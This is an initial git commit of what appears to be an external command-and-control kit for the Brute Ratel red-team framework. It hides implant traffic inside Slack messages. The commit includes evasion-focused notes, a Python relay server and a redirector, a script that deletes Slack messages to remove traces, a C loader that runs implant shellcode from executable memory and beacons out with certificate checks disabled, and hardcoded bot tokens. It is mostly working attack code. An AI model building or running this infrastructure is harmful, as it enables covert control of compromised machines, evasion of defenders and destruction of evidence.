initial commit
This commit is contained in:
@@ -0,0 +1,75 @@
|
||||
# NOTES - READ BEFORE DIGGING INTO SLACK EXTERNAL C2
|
||||
The core logic behind using an external C2 is to hide your payload output inside legitimate network traffic. This can be done in numerous ways using fronted domains, Dns Over Https or known redirectors such as aws/azure. However sometimes they are not enough. Sometimes you need something more subtle so that you can camouflage yourself into the
|
||||
|
||||
1. SMB or TCP badgers can be used to interact with your External C2 Servers
|
||||
2. The current example uses SMB badger which listens on the named pipe `\\.\pipe\mynamedpipe` which is fully configurable via badger's Payload Profile
|
||||
3. All badgers return output which is encrypted and then encoded in base64
|
||||
4. In the current example, our aim is to write a connector which reads output from the named pipe and sends it as a the request to the External C2 Server
|
||||
5. Once a request is sent, our connector will also have to receive a response from the External C2 Server and then forward it over the same named pipe to the badger
|
||||
6. If there is no response received from the External C2 Server, then we have to send a single byte "" to our named pipe to let the named pipe know there is no response yet and then continue to listen on the named pipe
|
||||
7. Badger will frequently connect and send a request on the named pipe every 2 second which is the default sleep cycle unless changed.
|
||||
7. External C2 connectors and servers can be written in any language. The current example uses C language since it's easy to convert the connector to a PIC as explained in my blog [here](https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/)
|
||||
|
||||
|
||||
## Slack C2 - Configuration
|
||||
|
||||
1. Slack -> Build -> New App -> Name of the App. eg: AdaptiveC2
|
||||
2. Slack -> Build -> New App -> Name of the App. eg: BadgerApp
|
||||
3. OAuth & Permissions -> Redirect URLs -> https://evasionlabs.com
|
||||
4. OAuth & Permissions -> Scopes -> Bot Token Scopes ->
|
||||
- app_mentions:read
|
||||
- channels:history
|
||||
- channels:read
|
||||
- chat:write
|
||||
- groups:history
|
||||
- im:history
|
||||
- im:read
|
||||
- mpim:history
|
||||
- mpim:read
|
||||
5. Install to Workspace (generates OAuth Tokens automatically)
|
||||
6. App Home -> Messages Tab -> Allow users to send Slash commands and messages from the messages tab
|
||||
7. Event Subscriptsions -> Enable -> https://evasionlabs.com
|
||||
- Activate via Challenge response
|
||||
- Subscribe to bot events
|
||||
- app_mentions
|
||||
- message.channels
|
||||
- message.groups
|
||||
- message.im
|
||||
- message.mpim
|
||||
|
||||
## Slack Connector
|
||||
|
||||
3. The output messages are encrypted and then base64 encoded before sending it across to the server or across pivot badgers (SMB and TCP)
|
||||
4. This means when a badger sends a full message, it needs to be received in full by the Ratel Server. Ratel Server does not handle partial messages. If partial messages are received by the Ratel server, it cannot decode and decrypt the message
|
||||
5. So, when using external C2, it is important to understand the limitation of your external c2 server and find out the maximum length of buffer it can accept
|
||||
6. Slack accepts a maximum of `4000 bytes` per message, excluding the json parts [chat.postMessage](https://api.slack.com/methods/chat.postMessage)
|
||||
7. So, we have to write a slack-connector which reads the full output msg from the badger. If the output size is >4000, split the buffer into chunks and send it across to our ListenerApp on slack.com
|
||||
- Slack-connector will send the the first buffer for around `4000 bytes or less` and prepend it with a uniqueBuffer before sending it, which implies its a partial message. We will call this unique value as `partialMessageDetector`
|
||||
- Upon receiving the first buffer, ListenerApp will return a `timestamp` for the first buffer
|
||||
- Slack-connector will extract the `timestamp` from the response and store it in memory
|
||||
- Slack-connector will send the remaining chunks of the output buffer in similar 4000 bytes or lower as replies to the first message. These replies will state that these buffers are part of the main message (first buffer)
|
||||
- ListenerApp will store the main message and replies and forward them via callbacks to our External C2 connector `Adaptivec2.py` written in Python3
|
||||
- Adaptivec2 will receive the first message as the first callback and extract the `timestamp` and the buffer. If the message contains `partialMessageDetector`, it means there are more messages in the replies. It will store this message in a dictionary
|
||||
- Subsequent callbacks received by the Adaptivec2 server from the ListenerApp will be used to identify the replies using `timestamp` and `partialMessageDetector` and append all of them as they are received
|
||||
- After receiving every callback event, Adaptivec2 will also delete each of the replies as soon as they are received.
|
||||
- If the final reply received by Adaptivec2 does not contain a `partialMessageDetector`, it means its the last part of the message
|
||||
- Adaptivec2 will concatenate all of them and forward the message as a single buffer to our Ratel server.
|
||||
7. The Ratel server will send a response back to Adaptivec2
|
||||
8. Adaptivec2 has to check if the response from the Ratel server is more than 4000 bytes. When commands like `sharpreflect`, `psreflect` or any shellcode/reflective DLLs are used, the buffer size is usually in kilobytes which is sent over the network
|
||||
9. Adaptivec2 will check the buffer size, split it across into multiple chunks as messages and replies (similar to what the slack-connector did) and send it to our BadgerApp
|
||||
10. The Slack-connector will send a https request to the BadgerApp and fetch the response. It will check if the response contains the same `partialMessageDetector` and start extract the replies similar to what the slack-connector did earlier.
|
||||
11. Upon receipt of the final reply, it will concatenate all the messages, run the requested command and send a response back in the same way.
|
||||
|
||||
### Badger Configuration - SMB Payload
|
||||
1. Badger sends main post request buffer to Slack C2 App
|
||||
2. Slack C2 App sends it to a Python3 Server
|
||||
3. Python3 Server forwards the request to BRc4 and deletes the message from the Slack C2 App
|
||||
4. BRc4 sends response a to Python3 Server
|
||||
5. Python3 Server forwards the request to a Slack Badgers App
|
||||
6. Badger also sends another request to fetch the latest slack messages from the Badgers App
|
||||
7. Badger gets the json response and filters it with:
|
||||
- starts with "text": "<@U039KRC46BS>
|
||||
- U039KRC46BS is the Member ID of the Badger's App
|
||||
- ends with double quotes
|
||||
eg.: "text": "<@UB39KRC46B8> z6FVoM/jWEDXZdF2V427xsJ8pw3D0pcNK3ApkNOD/AceRj4vBoJdIQL1GKRXMB4H"
|
||||
8. Badger deletes the messages in the Badger's App as per the `timestamp` (ts) of the message received above
|
||||
@@ -0,0 +1,230 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from concurrent.futures import thread
|
||||
import readline
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import json
|
||||
import base64
|
||||
import requests
|
||||
import sys
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
from multiprocessing import Lock
|
||||
from time import sleep
|
||||
import base64
|
||||
|
||||
mutex = Lock()
|
||||
|
||||
threadMessageStart = "start$"
|
||||
threadMessageEnd = "$end"
|
||||
|
||||
LHOST = "0.0.0.0"
|
||||
LPORT = 443
|
||||
BADGER_APP_TOKEN = "Bearer xoxb-12345678-123456789-qAIcN8hBt0WgwRaJImILqM9j"
|
||||
BADGER_APP_CHANNEL_ID = "D03AT6A4X9T" # click on the Apps name in the chats section and get the last value from the URL
|
||||
BADGER_APP_MEMBER_ID = "U039KRC46BS" # click on the Apps name in the chats section and get the last value from the URL
|
||||
|
||||
LISTENER_APP_TOKEN = "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY"
|
||||
|
||||
info = """
|
||||
Adaptive C2 v0.1 for Brute Ratel c4
|
||||
Author : Paranoid Ninja
|
||||
"""
|
||||
|
||||
usage = """
|
||||
Usage : adaptiveC2.py <certfile> <keyfile>
|
||||
Eg. : adaptiveC2.py /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem
|
||||
"""
|
||||
|
||||
threadList = []
|
||||
|
||||
def FetchFullMessage(channel, token, msg_ts):
|
||||
t_threadDict = {}
|
||||
fullBadgerMessage = ""
|
||||
try:
|
||||
requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts # fetch all replies -> https://api.slack.com/methods/conversations.replies/
|
||||
response = requests.get(requestUri, headers={'Authorization': token})
|
||||
jdata = json.loads(response.text)
|
||||
|
||||
for jsonMsg in jdata['messages']: # extract all timestamps from messages and align them as per their time received - { "messages": [ { 'ts': '' } ] }
|
||||
if (jsonMsg['text'] != threadMessageEnd):
|
||||
t_threadDict[jsonMsg['ts']] = jsonMsg['text']
|
||||
for key, value in sorted(t_threadDict.items()): # concatenate all the replies in chronological order
|
||||
bufMsg = value.split(threadMessageStart)
|
||||
if len(bufMsg) > 1:
|
||||
fullBadgerMessage = fullBadgerMessage + bufMsg[1]
|
||||
if fullBadgerMessage != "":
|
||||
print("[+] Sending %d bytes" % len(fullBadgerMessage))
|
||||
LinkC2(fullBadgerMessage, channel, msg_ts) # send the message to ratel server
|
||||
except Exception as ex:
|
||||
print("[-] Exception reading replies:", ex)
|
||||
|
||||
def DeleteMessageAndReplies(channel, token, msg_ts):
|
||||
try:
|
||||
requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts
|
||||
response = requests.get(requestUri, headers={'Authorization': token})
|
||||
jdata = json.loads(response.text)
|
||||
replyCount = 0
|
||||
for reply in jdata['messages']:
|
||||
replyCount += 1
|
||||
requestUri = "https://slack.com/api/chat.delete?channel="+ channel +"&ts=" + reply['ts']
|
||||
requests.get(requestUri, headers={'Authorization': token})
|
||||
sleep(0.5) # slack has a limitation of sending on 2 requests per second
|
||||
print("[+] %d replies/msgs deleted" % replyCount)
|
||||
requestUri = "https://slack.com/api/chat.delete?channel="+ channel +"&ts=" + msg_ts
|
||||
requests.get(requestUri, headers={'Authorization': token})
|
||||
except Exception as ex:
|
||||
print("[-] Exception while deleting message", ex)
|
||||
|
||||
def LinkC2(badgerMsg, channel, msg_ts):
|
||||
print("[+] ListenerApp Callback\n[+] Channel Id: %s\n[+] Msg ts: %s" % (channel, msg_ts))
|
||||
# DeleteMessageAndReplies(channel, LISTENER_APP_TOKEN, msg_ts)
|
||||
|
||||
# send badger response to ratel server and recv the next command
|
||||
try:
|
||||
response = requests.post('https://127.0.0.1:10443/detail/0HG57J5JNDOE9CJLXJ0QAZ6Z74/ref=atv_hm_hom_c_7d0kid_2_1', data=badgerMsg, verify=False)
|
||||
badgerCmd = response.text
|
||||
# print("[+] Command Received From Ratel Server:", badgerCmd)
|
||||
if len(badgerCmd) > 4000:
|
||||
print("[+] Command received from Ratel Server:", len(badgerCmd) ,"bytes")
|
||||
chunkSize = 3950
|
||||
chunks = [badgerCmd[i:i+chunkSize] for i in range(0, len(badgerCmd), chunkSize)]
|
||||
print("[+] Chunk count:", len(chunks))
|
||||
chunck_ts = ""
|
||||
# forward chunks to slack
|
||||
for part in chunks:
|
||||
t_msg = threadMessageStart + part
|
||||
if chunck_ts == "":
|
||||
response = requests.post('https://slack.com/api/chat.postMessage', json={'channel':BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ t_msg}, headers={'Authorization': BADGER_APP_TOKEN})
|
||||
if 'ts' in response.json() and 'channel' in response.json():
|
||||
chunck_ts = response.json()["ts"]
|
||||
print("[+] Primary chunk forwarded to BadgerApp:", len(part))
|
||||
else:
|
||||
print("[!] Error sending chunk:", response.json())
|
||||
else:
|
||||
response = requests.post('https://slack.com/api/chat.postMessage', json={ 'thread_ts': chunck_ts ,'channel': BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ t_msg}, headers={'Authorization': BADGER_APP_TOKEN})
|
||||
if 'ts' in response.json() and 'channel' in response.json():
|
||||
print("[+] Chunk forwarded to BadgerApp:", len(part))
|
||||
else:
|
||||
print("[!] Error sending command:", response.json())
|
||||
sleep(1) # slack has a limitation of sending on 2 requests per second
|
||||
|
||||
# Send the final delimiter to specify the thread has ended
|
||||
response = requests.post('https://slack.com/api/chat.postMessage', json={ 'thread_ts': chunck_ts ,'channel': BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ threadMessageEnd}, headers={'Authorization': BADGER_APP_TOKEN})
|
||||
if 'ts' in response.json() and 'channel' in response.json():
|
||||
print("[+] Thread ended")
|
||||
else:
|
||||
print("[!] Error sending chunk:", response.json())
|
||||
else:
|
||||
# forward command to slack
|
||||
response = requests.post('https://slack.com/api/chat.postMessage', json={'channel':BADGER_APP_CHANNEL_ID, 'text': "<@" + BADGER_APP_MEMBER_ID + "> "+ badgerCmd}, headers={'Authorization': BADGER_APP_TOKEN})
|
||||
if 'ts' in response.json() and 'channel' in response.json():
|
||||
print("[+] Callback forwarded to Brute Ratel Server")
|
||||
else:
|
||||
print("[!] Error sending command:", response.json())
|
||||
except Exception as ex:
|
||||
print("[!] Exception:", ex)
|
||||
|
||||
class AdaptiveC2Handler(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
content = f"{message}"
|
||||
return content.encode("utf8")
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] GET request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] HEAD request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_POST(self):
|
||||
try:
|
||||
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0')
|
||||
jdata = json.loads(postData)
|
||||
if "challenge" in jdata:
|
||||
print("[*] Slack challenge received")
|
||||
data = "challenge=" + jdata["challenge"]
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html(data))
|
||||
return
|
||||
elif "text" in jdata["event"]:
|
||||
this_msg_ts = jdata["event"]["ts"]
|
||||
channel = jdata["event"]["channel"]
|
||||
badgerMsg = jdata["event"]["text"]
|
||||
if "<@" in badgerMsg:
|
||||
badgerMsg = " ".join(badgerMsg.split(" ")[1:])
|
||||
if threadMessageStart in badgerMsg and "thread_ts" not in jdata["event"]: # new thread message received, store the timestamp in a list for verifying it later
|
||||
print("[+] New thread started:", this_msg_ts)
|
||||
threadList.append(this_msg_ts)
|
||||
elif "thread_ts" in jdata["event"] and threadMessageEnd in badgerMsg:
|
||||
main_thread_ts = jdata["event"]["thread_ts"]
|
||||
if (main_thread_ts in threadList):
|
||||
threadList.remove(main_thread_ts)
|
||||
print("[+] Thread closed:", main_thread_ts)
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html(""))
|
||||
print("------------------------------------------------------------")
|
||||
newThread=threading.Thread(target=FetchFullMessage, args=(channel, LISTENER_APP_TOKEN, main_thread_ts))
|
||||
newThread.start()
|
||||
return
|
||||
else:
|
||||
print("[+] Unknown msg:", this_msg_ts)
|
||||
elif "thread_ts" in jdata["event"]:
|
||||
main_thread_ts = jdata["event"]["thread_ts"]
|
||||
print("[+] Thread reply received:", main_thread_ts +":" + this_msg_ts)
|
||||
else:
|
||||
print("[+] Full msg:", len(badgerMsg), "bytes")
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html(""))
|
||||
print("------------------------------------------------------------")
|
||||
newThread=threading.Thread(target=LinkC2, args=(badgerMsg, channel, this_msg_ts))
|
||||
newThread.start()
|
||||
return
|
||||
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html(""))
|
||||
print("------------------------------------------------------------")
|
||||
# else:
|
||||
# print(jdata, "\n")
|
||||
except Exception as ex:
|
||||
print("[-] Exception:", ex)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
print(info)
|
||||
if (len(sys.argv) < 3):
|
||||
print(usage)
|
||||
return
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print(f"[+] {currtime} Starting Adaptive C2 Server on {LHOST}:{LPORT}")
|
||||
server = HTTPServer((LHOST, LPORT), AdaptiveC2Handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import json
|
||||
from time import sleep
|
||||
import requests
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
# click on the Apps name in the chats section and get the last value from the URL to get the channel ID
|
||||
APP_INFO_DICT = {
|
||||
"D03AFAZC6B1": "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY", # Listener
|
||||
"D03AT6A4X9T": "Bearer xoxb-2144924547920-3393858142400-qEIcN8hBt0WgwRaJImILqMAj" # Commander
|
||||
}
|
||||
|
||||
def FetchFullMessage(channel, token, msg_ts):
|
||||
threadMessageStart = "part$"
|
||||
threadMessageEnd = "$end"
|
||||
t_threadDict = {}
|
||||
fullBadgerMessage = ""
|
||||
try:
|
||||
requestUri = "https://slack.com/api/conversations.replies?channel=" + channel + "&ts=" + msg_ts # fetch all replies -> https://api.slack.com/methods/conversations.replies/
|
||||
response = requests.get(requestUri, headers={'Authorization': token})
|
||||
jdata = json.loads(response.text)
|
||||
for jsonMsg in jdata['messages']: # extract all timestamps from messages and align them as per their time received - { "messages": [ { 'ts': '' } ] }
|
||||
if (jsonMsg['text'] != threadMessageEnd):
|
||||
t_threadDict[jsonMsg['ts']] = jsonMsg['text']
|
||||
for key, value in sorted(t_threadDict.items()): # concatenate all the replies in chronological order
|
||||
fullBadgerMessage = fullBadgerMessage + value.split(threadMessageStart)[1]
|
||||
except Exception as ex:
|
||||
print("[-] Exception reading replies:", ex)
|
||||
print(fullBadgerMessage)
|
||||
|
||||
def deleteMessageReplies(APP_CHANNEL_ID, APP_TOKEN, ts):
|
||||
requestUri = "https://slack.com/api/conversations.replies?channel="+ APP_CHANNEL_ID +"&ts=" + ts
|
||||
response = requests.get(requestUri, headers={'Authorization': APP_TOKEN})
|
||||
response = response.text
|
||||
jdata = json.loads(response)
|
||||
msgArray = []
|
||||
msgCount = 0
|
||||
for i in jdata['messages']:
|
||||
msgArray.append(i['ts'])
|
||||
msgCount+=1
|
||||
print("%d replies found" % msgCount)
|
||||
|
||||
for thread_ts in msgArray:
|
||||
requestUri = "https://slack.com/api/chat.delete?channel="+ APP_CHANNEL_ID +"&ts=" + thread_ts
|
||||
requests.get(requestUri, headers={'Authorization': APP_TOKEN})
|
||||
sleep(0.5)
|
||||
print("All threads deleted")
|
||||
|
||||
|
||||
def main():
|
||||
print("[+] Checking abandoned messages")
|
||||
for APP_CHANNEL_ID, APP_TOKEN in APP_INFO_DICT.items():
|
||||
try:
|
||||
requestUri = "https://slack.com/api/conversations.history?channel="+ APP_CHANNEL_ID +"&pretty=1"
|
||||
response = requests.get(requestUri, headers={'Authorization': APP_TOKEN})
|
||||
response = response.text
|
||||
jdata = json.loads(response)
|
||||
msgArray = []
|
||||
msgCount = 0
|
||||
for i in jdata['messages']:
|
||||
msgArray.append(i['ts'])
|
||||
msgCount+=1
|
||||
print("%d messages found" % msgCount)
|
||||
|
||||
for ts in msgArray:
|
||||
deleteMessageReplies(APP_CHANNEL_ID, APP_TOKEN, ts)
|
||||
# delete the main message after deleting the replies
|
||||
requestUri = "https://slack.com/api/chat.delete?channel="+ APP_CHANNEL_ID +"&ts=" + ts
|
||||
response = requests.get(requestUri, headers={'Authorization': APP_TOKEN})
|
||||
print("All messages deleted")
|
||||
|
||||
except Exception as ex:
|
||||
print("[!] Exception sending msg:", ex)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
# FetchFullMessage("D03AFAZC6B1", "Bearer xoxb-2144924547920-3382587054001-2xPrUBj0D8yf0D5BNDPh3nwY", "1651914125.900769")
|
||||
@@ -0,0 +1,78 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import sys
|
||||
import requests
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
LHOST = "0.0.0.0"
|
||||
LPORT = 443
|
||||
|
||||
listener_bucket = {
|
||||
"managedservices.azureedge.net": "8000",
|
||||
"Amazon CloudFront": "9000",
|
||||
}
|
||||
|
||||
class Stager(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
content = f"{message}"
|
||||
return content.encode("utf8")
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] GET request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] HEAD request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_POST(self):
|
||||
headerValue = ""
|
||||
if 'X-Host' in self.headers:
|
||||
headerValue = self.headers['X-Host']
|
||||
elif 'User-Agent' in self.headers:
|
||||
headerValue = self.headers['User-Agent']
|
||||
if headerValue in listener_bucket:
|
||||
print("Host Header [", headerValue, "] => routing to ", listener_bucket[headerValue])
|
||||
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
|
||||
response = requests.post('https://localhost:' + listener_bucket[headerValue] + '/request', postData, self.headers, verify=False)
|
||||
self._set_headers()
|
||||
self.wfile.write(response.text)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
if (len(sys.argv) < 3):
|
||||
print("Usage:", sys.argv[0], "<certfile> <keyfile>")
|
||||
return
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}")
|
||||
server = HTTPServer((LHOST, LPORT), Stager)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,4 @@
|
||||
unsigned char badger_x64_smb_bin[] = {
|
||||
// Enter your badger's SMB shellcode here
|
||||
};
|
||||
unsigned int badger_x64_smb_bin_len = 0; // shellcode size
|
||||
@@ -0,0 +1,524 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <wininet.h>
|
||||
#include "shellcode.h"
|
||||
|
||||
// __attribute__ ((section (".text"))) unsigned char theBlob[] = {
|
||||
// 0x41,0x42,0x43
|
||||
// }
|
||||
|
||||
struct BADGER_REQUEST_INFO {
|
||||
CHAR* server;
|
||||
CHAR* useragent;
|
||||
CHAR* uri;
|
||||
CHAR* postRequest;
|
||||
CHAR* headerList[MAX_PATH];
|
||||
DWORD port;
|
||||
int headerCount;
|
||||
};
|
||||
|
||||
size_t task_strlen(CHAR* buf) {
|
||||
size_t i = 0;
|
||||
while (buf[i] != '\0') {
|
||||
i++;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
void *task_memcpy(void *dest, const void *src, size_t len) {
|
||||
char *d = dest;
|
||||
const char *s = src;
|
||||
while (len--) {
|
||||
*d++ = *s++;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
void *task_memset(void *dest, int val, size_t len) {
|
||||
unsigned char *ptr = dest;
|
||||
while (len-- > 0) {
|
||||
*ptr++ = val;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
char *task_strstr(char *string, char *substring) {
|
||||
register char *a, *b;
|
||||
b = substring;
|
||||
if (*b == 0) {
|
||||
return string;
|
||||
}
|
||||
for ( ; *string != 0; string += 1) {
|
||||
if (*string != *b) {
|
||||
continue;
|
||||
}
|
||||
a = string;
|
||||
while (1) {
|
||||
if (*b == 0) {
|
||||
return string;
|
||||
}
|
||||
if (*a++ != *b++) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
b = substring;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char *task_search(char* start, char* end, char* string) {
|
||||
CHAR* startBuff = task_strstr(string, start);
|
||||
if (startBuff) {
|
||||
startBuff = startBuff + task_strlen(start);
|
||||
CHAR* endBuff = task_strstr(startBuff, end);
|
||||
if (endBuff) {
|
||||
int buffLength = endBuff - startBuff;
|
||||
CHAR* foundString = (CHAR*)calloc(buffLength+1, sizeof(CHAR));
|
||||
task_memcpy(foundString, startBuff, buffLength);
|
||||
return foundString;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int task_strcmp(const char *p1, const char *p2) {
|
||||
const unsigned char *s1 = (const unsigned char *) p1;
|
||||
const unsigned char *s2 = (const unsigned char *) p2;
|
||||
unsigned char c1, c2;
|
||||
do {
|
||||
c1 = (unsigned char) *s1++;
|
||||
c2 = (unsigned char) *s2++;
|
||||
if (c1 == '\0') {
|
||||
return c1 - c2;
|
||||
}
|
||||
}
|
||||
while (c1 == c2);
|
||||
return c1 - c2;
|
||||
}
|
||||
|
||||
void execShellcode() {
|
||||
DWORD lpThreadId = 0;
|
||||
DWORD flOldProtect;
|
||||
LPVOID shellcodeAlloc = VirtualAlloc(NULL, badger_x64_smb_bin_len, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
task_memcpy(shellcodeAlloc, badger_x64_smb_bin, badger_x64_smb_bin_len);
|
||||
VirtualProtect(shellcodeAlloc, badger_x64_smb_bin_len, PAGE_EXECUTE_READ, &flOldProtect);
|
||||
CreateThread(NULL, 1024*1024, (LPTHREAD_START_ROUTINE)shellcodeAlloc, NULL, 0, &lpThreadId);
|
||||
VirtualFree(shellcodeAlloc, 0, MEM_RELEASE);
|
||||
Sleep(1000); // good to wait for a second before returning as the shellcode might take 200-500ms to start the named pipe
|
||||
}
|
||||
|
||||
HANDLE connectSMB(CHAR* smbPipeName) {
|
||||
DWORD dwMode = PIPE_READMODE_BYTE | PIPE_WAIT;
|
||||
HANDLE badgerNamedPipe = CreateFileA(smbPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH, NULL);
|
||||
if (badgerNamedPipe == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
if (! SetNamedPipeHandleState(badgerNamedPipe, &dwMode, NULL, NULL)) {
|
||||
CloseHandle(badgerNamedPipe);
|
||||
return NULL;
|
||||
}
|
||||
return badgerNamedPipe;
|
||||
}
|
||||
|
||||
BOOL checkSuccess(CHAR* message) {
|
||||
CHAR* isValid = task_search("\"ok\":true", ",", message); // check if the request was successful
|
||||
if (isValid) {
|
||||
free(isValid);
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CHAR* httpConnect(struct BADGER_REQUEST_INFO bgrReqInfo) {
|
||||
// sends either GET or POST request to slack.com
|
||||
HINTERNET b_Internet = NULL, b_HttpSession = NULL, b_HttpRequest = NULL;
|
||||
DWORD SecFlag = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
|
||||
CHAR* response = NULL;
|
||||
BOOL httpSuccess = FALSE;
|
||||
|
||||
if (b_Internet = InternetOpenA(bgrReqInfo.useragent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0)) {
|
||||
if ((b_HttpSession = InternetConnectA(b_Internet, bgrReqInfo.server, 443, 0, 0, INTERNET_SERVICE_HTTP, 0, 0))) {
|
||||
if (bgrReqInfo.postRequest) {
|
||||
b_HttpRequest = HttpOpenRequestA(b_HttpSession, "POST", bgrReqInfo.uri, 0, 0, 0, INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_COOKIES, 0);
|
||||
} else {
|
||||
b_HttpRequest = HttpOpenRequestA(b_HttpSession, "GET", bgrReqInfo.uri, 0, 0, 0, INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_COOKIES, 0);
|
||||
}
|
||||
if (b_HttpRequest) {
|
||||
if (InternetSetOptionA(b_HttpRequest, INTERNET_OPTION_SECURITY_FLAGS, &SecFlag, sizeof(SecFlag))) {
|
||||
for (int i = 0; i < bgrReqInfo.headerCount; i++) {
|
||||
HttpAddRequestHeadersA(b_HttpRequest, bgrReqInfo.headerList[i], -1, HTTP_ADDREQ_FLAG_ADD);
|
||||
}
|
||||
if (bgrReqInfo.postRequest) {
|
||||
httpSuccess = HttpSendRequestA(b_HttpRequest, 0, 0, bgrReqInfo.postRequest, task_strlen(bgrReqInfo.postRequest));
|
||||
} else {
|
||||
httpSuccess = HttpSendRequestA(b_HttpRequest, 0, 0, NULL, 0);
|
||||
}
|
||||
if (httpSuccess) {
|
||||
DWORD offset = 0;
|
||||
while (TRUE) {
|
||||
DWORD availabledSize = 0, buff_downloaded;
|
||||
BOOL checkVal = InternetQueryDataAvailable(b_HttpRequest, &availabledSize, 0, 0);
|
||||
if (!checkVal || availabledSize == 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
CHAR* tempbuff = (CHAR*)calloc(availabledSize+1, sizeof(CHAR));
|
||||
